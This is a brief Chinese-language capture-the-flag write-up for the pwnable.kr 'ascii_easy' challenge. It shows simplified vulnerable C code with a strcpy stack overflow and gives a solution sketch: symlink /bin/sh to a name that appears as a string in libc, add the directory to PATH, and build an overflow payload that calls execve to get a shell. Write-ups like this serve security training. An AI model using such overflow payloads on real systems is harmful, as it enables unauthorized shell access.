Pwnable.kr ascii_easy
复制本地路径 | 在线编辑
程序分析
简化的代码如下
void main(char** argv, char** envp) {
// 检查argv[1]指向的那段必须全是 ascii 可见字符
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
mmap((void*)0x5555e000, 0x4000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0);
vuln(argv[1]);
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
漏洞点
一开始我是懵的,主要的问题是:溢出的返回地址返回到哪里去??返回到栈,不知道地址,看来只能返回到 libc 的 execve 了。但是这个 libc 没有 /bin/sh,所以参数又不好搞。
执行 execve('/bin/sh', 0, 0),没有 /bin/sh 怎么办?直接公布答案,这个确实算是奇技淫巧了。在当前目录加一个 /bin/sh 的软连接,名字是在 libc 中可以找到的,比如 error,然后执行 execve('error', 0, 0) 即可。
具体流程如下
ln -s /bin/sh error
export PATH=$PATH:/home/ascii_easy
_argv = 'A'*32 + p32(call_execve) + p32(error) + p32(null) + p32(null)
总结反思
感觉这个确实太奇技淫巧了,而且没什么价值。因为实际情况不会登上服务器创立软连接并且设置环境变量。